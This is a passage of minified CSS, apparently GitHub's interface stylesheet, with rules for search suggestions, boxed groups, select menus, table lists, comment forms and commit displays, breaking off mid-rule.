.navigation-item:last-child{border-bottom:0}.jump-to-suggestions-results-container .d-on-nav-focus{display:none}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-octicon,.jump-to-suggestions-results-container .navigation-focus .jump-to-octicon{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .jump-to-suggestions-path,.jump-to-suggestions-results-container .navigation-focus .jump-to-suggestions-path{color:var(--color-fg-on-emphasis);background:var(--color-accent-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] mark,.jump-to-suggestions-results-container .navigation-focus mark{color:var(--color-fg-on-emphasis)}.jump-to-suggestions-results-container [aria-selected=true] .d-on-nav-focus,.jump-to-suggestions-results-container .navigation-focus .d-on-nav-focus{display:block}.header-search{max-width:100%;transition:.2s ease-in-out;transition-property:max-width,padding-bottom,padding-top}@media(min-width: 768px){.header-search{max-width:272px}}@media(min-width: 768px){.header-search:focus-within{max-width:544px}}@media(min-width: 768px){.header-search.fixed-width:focus-within{max-width:272px}}.HeaderMenu--logged-out .header-search{min-width:auto}.search-input{width:350px}.search-input-container{z-index:35;height:36px;color:var(--color-scale-white);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border)}.search-input-container .input-parsed-symbol{padding-right:4px;padding-left:4px;color:var(--color-accent-emphasis);background:var(--color-accent-subtle);border-radius:6px}.search-suggestions{top:-14px;left:-14px;z-index:15;width:calc(100% + 26px) !important}.search-suggestions .suggestion-search-input-wrapper{border:1px solid var(--color-accent-emphasis);align-items:center;box-shadow:var(--color-btn-shadow-input-focus)}.search-suggestions .suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list 